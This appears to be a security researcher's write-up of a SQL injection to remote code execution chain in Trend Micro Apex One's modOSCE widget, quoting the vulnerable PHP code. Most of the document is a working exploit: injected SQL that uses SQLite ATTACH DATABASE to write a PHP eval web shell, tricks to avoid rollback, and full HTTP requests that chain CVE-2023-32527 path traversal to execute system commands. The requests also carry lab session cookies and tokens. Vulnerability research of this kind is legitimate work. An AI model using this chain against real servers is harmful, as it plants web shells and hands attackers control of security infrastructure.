Trend Micro Apex One modOSCE Remote Code Execution Vulnerability

如果有机会,下篇博客带大家看看41岁职场老登。😅

Trend Micro Apex One modOSCE contain vulnerabilities which would allow authenticated users to perform a SQL injection that could lead to remote code execution.

Vulnerable code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//Apex One\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgetPool\wp1\proxy\modOSCE\TMDataModel.php
public function execMultiSQL( $sqls ){
try{
$this->dm_handler->beginTransaction();
foreach($sqls as $asql){
$this->dm_handler->exec($asql);
}
$this->dm_handler->commit();
return True;
}
catch(PDOException $exception) {
$this->errMsg .= "PDOException = ".$exception->getMessage();
$this->dm_handler->rollBack();
return false;
}
}

public function execQuery($sql) {
return $this->dm_handler->query($sql);
}

exeQuery function calls PDO::query directly

Vulnerable code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//Apex One\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgetPool\wp1\proxy\modOSCE\Cache.php
public function SetCache($iTimeoutSec, $strProduct, $strPrimaryKey, $oData)
{
//mydebug_log("[Cache] SetCache >>");
$retAry = array();
$arysql = array();
$ret = Parser::DecodeToArray($oData, $retAry);
if ($ret == true && is_array($retAry) && count($retAry) > 0)
{
//insert tb_CacheMain
$arysql[] = "INSERT OR REPLACE INTO tb_CacheMain VALUES (NULL, '".$this->m_sessionID."', ".time().", ".$iTimeoutSec.")";

//find the property names for the product
//...

//insert tb_CacheDetail
if ( $nn !== false)
{
$prod_pty = substr($prod_pty, 0, $nn);
$arysql[] = "INSERT INTO tb_CacheDetail VALUES ('".$this->m_sessionID."', '".$strProduct."','".$prod_pty."')";
}

//build product cache table
//...

//save to db
if (count($arysql)>3)
{
$ret = $this->m_sql->execMultiSQL($arysql);
//...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//Apex One\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgetPool\wp1\proxy\modOSCE\Proxy.php
// Proxy Result
public function proxy_output() {
//...
switch ($this->cgiArgs["T"])
{
//...
case 'modOSCEMashup':
mydebug_log("[modOSCE Proxy] modOSCEMashup proxy_output");
$this->RetrieveMashUpData();
break;
//...
}
return;
}

private function RetrieveMashUpData()
{
mydebug_log("[modOSCE Proxy] RetrieveMashUpData() ".$this->cgiArgs["param"]);
if (isset($this->cgiArgs["param"]))
{
$param = json_decode($this->cgiArgs["param"],true);


switch($param["subtype"])
{
case 'domain':
//...
case 'client':
mydebug_log("[modOSCE Proxy] subtype is client");
$strFilter = "PARENT_GUID%20eq%20guid'".$param["ParentGUID"]."'";
$this->GetClientInfo(true, $param, $strFilter);
break;

case 'sort_client':
//...

case 'find_client':
//...

case 'sort_find_client':
//...

}

}
return true;
}

private function GetClientInfo($refresh, $param, $strFilter)
{
//...
if ($localCache->GetCacheStatus() != 2)
{
mydebug_log("[modOSCE Proxy] Get data from each DAL");
$arrErrCode = array();
$bClientExist = TRUE;

//Get data from each DAL
foreach($param["ProductList"] as $productInfo)
{
$strColList = "";
$strColList = implode(",", $productInfo["Col_List"]);
$URL = '/officescan/DAL/'.$productInfo["PID"].'/Clients?$format=json&$filter='.$strFilter.'&$select='.$strColList;
mydebug_log("DAL= ".$URL);
if ($this->SendRequest($URL))
{
mydebug_log("[modOSCE Proxy] result from DAL --> ".$this->httpObj->getBody());

$nResult = $this->AnalyzeResult($productInfo["PID"], $this->httpObj->getBody(), $arrErrCode);
if (1 == $nResult)
{
//Save the result to cache
$localCache->SetCache(600, $productInfo["PID"],"GUID", $this->httpObj->getBody());
}
//...
}

Source

1
2
3
4
5
//Apex One\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgetPool\wp1\proxy\modOSCE\Proxy.php
$param = json_decode($this->cgiArgs["param"],true);
//...
foreach($param["ProductList"] as $productInfo)
{

Sink

1
2
3
4
//Apex One\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgetPool\wp1\proxy\modOSCE\Proxy.php
$localCache->SetCache(600, $productInfo["PID"],"GUID", $this->httpObj->getBody());
//Apex One\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgetPool\wp1\proxy\modOSCE\Cache.php
$arysql[] = "INSERT INTO tb_CacheDetail VALUES ('".$this->m_sessionID."', '".$strProduct."','".$prod_pty."')";

With SQLi in SQLite, we can easily achieve RCE.

1
2
3
ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;
CREATE TABLE webdxg.pwn (t text);
INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);');

payload

1
t','t');ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;CREATE TABLE webdxg.pwn (t text);INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);')--

However, we should notice some details.

SetCache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
$arysql[] = "INSERT OR REPLACE INTO tb_CacheMain VALUES (NULL, '".$this->m_sessionID."', ".time().", ".$iTimeoutSec.")";

//find the property names for the product
$prod_col = "";
$prod_pty = "";
foreach($retAry[0] as $col => $val)
{
//column
$prod_pty .= $col.", ";
$prod_col .= $col;
if (is_int($val))
$prod_col .= " INTEGER";
elseif (is_float($val))
$prod_col .= " REAL";
else
$prod_col .= " TEXT";

//primary key
if ($strPrimaryKey == $col)
$prod_col .= " PRIMARY KEY, ";
else
$prod_col .= ", ";
}
$n = strrpos($prod_col, ",");
$nn = strrpos($prod_pty, ",");

//insert tb_CacheDetail
if ( $nn !== false)
{
$prod_pty = substr($prod_pty, 0, $nn);
$arysql[] = "INSERT INTO tb_CacheDetail VALUES ('".$this->m_sessionID."', '".$strProduct."','".$prod_pty."')";
}
//build product cache table
if ($n !== false)
{
$prod_col = substr($prod_col, 0, $n);

//create product cache table
$prod_tbl = $this->GetTableName($strProduct);
$arysql[] = "CREATE TABLE ".$prod_tbl." (".$prod_col.")";

//insert all data
foreach($retAry as $row)
{
$prod_row = "";
foreach($row as $val)
$prod_row .= "'".$val."',";
$nn = strrpos($prod_row, ",");
if ( $nn !== false )
{
$prod_row = substr($prod_row, 0, $nn);
$arysql[] = "INSERT INTO ".$prod_tbl." VALUES (".$prod_row.")";
}
}
}

//save to db
if (count($arysql)>3)
{
$ret = $this->m_sql->execMultiSQL($arysql);

Our payload will be used as part of table name, in sqlite it will trigger error and rollBack because our payload contains some special chars.Just like the demo below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$payload = '';
$dm_conn = "sqlite:data.db";
$dm_handler = new PDO($dm_conn);
$dm_handler->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$arysql[] = "INSERT OR REPLACE INTO tb_CacheMain VALUES (NULL, '0b21686771c60dbe664e2f0a678260d5', ".time().", 600)";
$arysql[] = "INSERT INTO tb_CacheDetail VALUES ('0b21686771c60dbe664e2f0a678260d5', '".$payload."', 't')";
$arysql[] = "CREATE TABLE tb_Cache_0b21686771c60dbe664e2f0a678260d5_".$payload." (t TEXT)";
$arysql[] = "INSERT INTO tb_Cache_0b21686771c60dbe664e2f0a678260d5_".$payload." VALUES ('t')";
try{
$dm_handler->beginTransaction();
foreach($arysql as $asql){
$dm_handler->exec($asql);
}
$dm_handler->commit();
}
catch(PDOException $exception) {
$dm_handler->rollBack();
}

We can use COMMIT; to prevent this.

Payload

1
t','t');ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;CREATE TABLE webdxg.pwn (t text);INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);');COMMIT--

GetClientInfo

1
2
3
4
5
6
7
8
9
10
11
12
$URL = '/officescan/DAL/'.$productInfo["PID"].'/Clients?$format=json&$filter='.$strFilter.'&$select='.$strColList;
mydebug_log("DAL= ".$URL);
if ($this->SendRequest($URL))
{
mydebug_log("[modOSCE Proxy] result from DAL --> ".$this->httpObj->getBody());

$nResult = $this->AnalyzeResult($productInfo["PID"], $this->httpObj->getBody(), $arrErrCode);
if (1 == $nResult)
{
//Save the result to cache
$localCache->SetCache(600, $productInfo["PID"],"GUID", $this->httpObj->getBody());
}

We need to make sure AnalyzeResult returns 1.After analysing AnalyzeResult, I find that if response of the request to $URL matches the json format below it will return 1.

1
{"d":{"result":[{"webdxg":"t"}]}

but $URL contains our payload in the part of path.

SendRequest uses CURLOPT_URL, we can modify our payload to achieve this.

1
../path?#','t');ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;CREATE TABLE webdxg.pwn (t text);INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);');COMMIT--
1
scheme://authority/path?query#fragment

We don’t need to care fragment.Now, we need to find the path which can return eligible response.

After reading the code, I make sure the eligible path exists.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//Apex One\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgetPool\wp1\proxy\modOSCE\Proxy.php
private function checkPLSPR($pls)
{

mydebug_log("[modOSCE Proxy] pls=".$pls);
$arr_pls = explode(",", $pls);
$product_pls = array();
foreach($arr_pls as $pls_name)
{
$URL = '/officescan/DAL/'.$pls_name.'/CategoryLicenses?$format=json&$expand=' . $pls_name . '_LICENSE_STATUS';
mydebug_log("[modOSCE Proxy] checkPLSPR: URL=".$URL);
if ($this->SendRequest($URL)){
//...
if(!isset($pls_pr_json["d"])){
// -1 means no activated
//...
}
else {
$reminder = $pls_pr_json['d']["result"][0][$pls_name . '_LICENSE_STATUS'][0][$pls_name."_REMINDER"];
}

Payload

1
../DAL/OSCE/Clients?$format=json&$filter=PARENT_GUID%20eq%20guid%2779a4ce68-212d-422a-9876-3265feb54103%27#','t');ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;CREATE TABLE webdxg.pwn (t text);INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);');COMMIT--

Exploitation


Combing with CVE-2023-32527, we can achieve remote code execution.

屏幕截图(13)

屏幕截图(14)

屏幕截图(15)

Requests

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /officescan/console/html/widget/proxy_controller.php HTTP/2
Host: win-ovtqo8kelf6:4343
Cookie: session_expired=no; DisabledIds=9999.; LogonUser=root; ReadOnlyIds=8.56.; enableRba=1; LANG=en_US; cname=dashBoard; wf_version=3.8; lastID=33; lastTab=-1; theme=default; wids=modOSCEDetectionSummary,modOSCEEndpointSummary,modOSCERansomwareDetectionsSummary,modOSCERansomwareDetectionsOverTime,modOSCESecurityRiskDetection,; serror=0; retry=0; FeatureEnableState=optDLPMobileReadonly@0|enableAntiBody@1|enableCCFR@1|enableCfw@1|enableDcs@1|enableSorting@0|enableSpy@1|enableVirus@1|HasAvAddSvc@1|installWSS@1|enableDLP@0|sqldbMode@1|enableIPv6@1|w2ksupport@0|RoleSvc@0|iAC@1|iVP@2|iATAS@4|iES@4|; key=92511314314451; osce_csrf_token=CI2tfbN09Hi6bO5oBRva5FSQtjVVSFH5BVrovD97AKydty2PimKcgqxgbS3fRrt01FU9kJULuQyyl6pf5jFmcQXUg8SPWpP5bmJciWFkT3Iml0kNTkl3aaenKVuKZoKQK692s5grDsn4JdMYXoQwHqyGmGBvKaxgnlaGD8nLne5qIWry1aqQeWgWBcrU7vn0BKDZZ1rX6; session=f7f613ddc5fc713b34011c9162e76979; stamp=46443250; timestamp=1703149175; LANG=en_US; wf_version=3.8; cname=dashBoard; theme=default; wids=modOSCEDetectionSummary,modOSCEEndpointSummary,modOSCERansomwareDetectionsSummary,modOSCERansomwareDetectionsOverTime,modOSCESecurityRiskDetection,; session_expired=yes; lastID=33; lastTab=-1; PHPSESSID=hq6mcjlnutt89opaha3g0pfjd2; wf_CSRF_token=42277b0a11fd8f0f361cab653a3b89b6
Cache-Control: max-age=0
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 1116

module=modOSCE&T=modOSCEMashup&serverid=1&param=%7b%22%73%75%62%74%79%70%65%22%3a%22%63%6c%69%65%6e%74%22%2c%22%50%61%72%65%6e%74%47%55%49%44%22%3a%22%22%2c%22%50%72%6f%64%75%63%74%4c%69%73%74%22%3a%5b%7b%22%43%6f%6c%5f%4c%69%73%74%22%3a%5b%5d%2c%22%50%49%44%22%3a%22%2e%2e%2f%44%41%4c%2f%4f%53%43%45%2f%43%6c%69%65%6e%74%73%3f%24%66%6f%72%6d%61%74%3d%6a%73%6f%6e%26%24%66%69%6c%74%65%72%3d%50%41%52%45%4e%54%5f%47%55%49%44%25%32%30%65%71%25%32%30%67%75%69%64%25%32%37%37%39%61%34%63%65%36%38%2d%32%31%32%64%2d%34%32%32%61%2d%39%38%37%36%2d%33%32%36%35%66%65%62%35%34%31%30%33%25%32%37%23%27%2c%27%74%27%29%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%43%3a%5c%5c%57%69%6e%64%6f%77%73%5c%5c%54%65%6d%70%5c%5c%50%6f%6f%6c%4d%61%6e%61%67%65%72%2e%70%68%70%27%20%41%53%20%6c%6f%6c%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%6c%6f%6c%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%6c%6f%6c%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%28%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%32%33%33%33%5d%29%3b%27%29%3b%43%4f%4d%4d%49%54%2d%2d%22%7d%5d%7d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /officescan/console/html/widget/inc/widget_package_manager.php?HTTP_X_CSRFTOKEN=42277b0a11fd8f0f361cab653a3b89b6&2333=system("calc"); HTTP/2
Host: win-ovtqo8kelf6:4343
Cookie: session_expired=no; DisabledIds=9999.; LogonUser=root; ReadOnlyIds=8.56.; enableRba=1; LANG=en_US; cname=dashBoard; wf_version=3.8; lastID=33; lastTab=-1; theme=default; wids=modOSCEDetectionSummary,modOSCEEndpointSummary,modOSCERansomwareDetectionsSummary,modOSCERansomwareDetectionsOverTime,modOSCESecurityRiskDetection,; serror=0; retry=0; FeatureEnableState=optDLPMobileReadonly@0|enableAntiBody@1|enableCCFR@1|enableCfw@1|enableDcs@1|enableSorting@0|enableSpy@1|enableVirus@1|HasAvAddSvc@1|installWSS@1|enableDLP@0|sqldbMode@1|enableIPv6@1|w2ksupport@0|RoleSvc@0|iAC@1|iVP@2|iATAS@4|iES@4|; key=92511314314451; osce_csrf_token=CI2tfbN09Hi6bO5oBRva5FSQtjVVSFH5BVrovD97AKydty2PimKcgqxgbS3fRrt01FU9kJULuQyyl6pf5jFmcQXUg8SPWpP5bmJciWFkT3Iml0kNTkl3aaenKVuKZoKQK692s5grDsn4JdMYXoQwHqyGmGBvKaxgnlaGD8nLne5qIWry1aqQeWgWBcrU7vn0BKDZZ1rX6; session=f7f613ddc5fc713b34011c9162e76979; stamp=46443250; timestamp=1703149175; LANG=en_US; wf_version=3.8; cname=dashBoard; theme=default; wids=modOSCEDetectionSummary,modOSCEEndpointSummary,modOSCERansomwareDetectionsSummary,modOSCERansomwareDetectionsOverTime,modOSCESecurityRiskDetection,; session_expired=yes; lastID=33; lastTab=-1; PHPSESSID=hq6mcjlnutt89opaha3g0pfjd2; wf_CSRF_token=42277b0a11fd8f0f361cab653a3b89b6
Cache-Control: max-age=0
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Content-Type: application/json
Content-Length: 99

{
"act":"check",
"update_type":"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\temp\\"}